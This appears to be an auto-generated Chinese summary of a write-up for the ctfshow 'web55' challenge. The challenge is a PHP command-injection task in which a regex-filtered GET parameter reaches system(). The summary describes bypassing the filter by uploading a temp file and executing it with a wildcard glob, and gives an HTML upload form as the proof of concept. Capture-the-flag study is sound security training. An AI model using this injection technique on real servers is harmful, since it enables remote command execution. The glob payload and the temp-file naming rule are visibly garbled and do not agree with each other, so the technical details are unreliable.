ctfshow web55
时间: 2023-09-27 19:04:04 浏览: 178
根据引用和,web55是一个CTF Show的题目,其中包含了一个代码分析和一个文件上传的功能。
在代码分析中,如果存在名为'c'的GET参数,则将其赋值给变量$c。然后通过正则表达式判断$c是否包含了一些特殊的字符,如果不包含,则调用system函数执行$c的值。否则,将会显示当前文件的源代码。
而在文件上传的功能中,首先需要准备一个上传的网页,然后将文件上传到临时文件夹中。临时文件一般位于/tmp/目录下,命名规则为php加5个小写字母加一个可能为大写的字母。可以通过. /???/********[@-]]来访问上传的文件。其中[@-]]是用于匹配大写字母的。可以使用以下脚本进行上传:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://20a29f30-b869-423a-a6d6-e8cac9b4ca30.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
```
这样,你就可以通过上传文件来进行操作了。请注意,具体的操作还需要根据题目要求进行相应的尝试和实验。<span class="em">1</span><span class="em">2</span><span class="em">3</span>
#### 引用[.reference_title]
- *1* [ctfshow web入门55~122 命令执行](https://blog.csdn.net/qq_53063436/article/details/117386793)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"]
- *2* *3* [CTFshow web55](https://blog.csdn.net/qq_40345591/article/details/127791317)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"]
[ .reference_list ]
阅读全文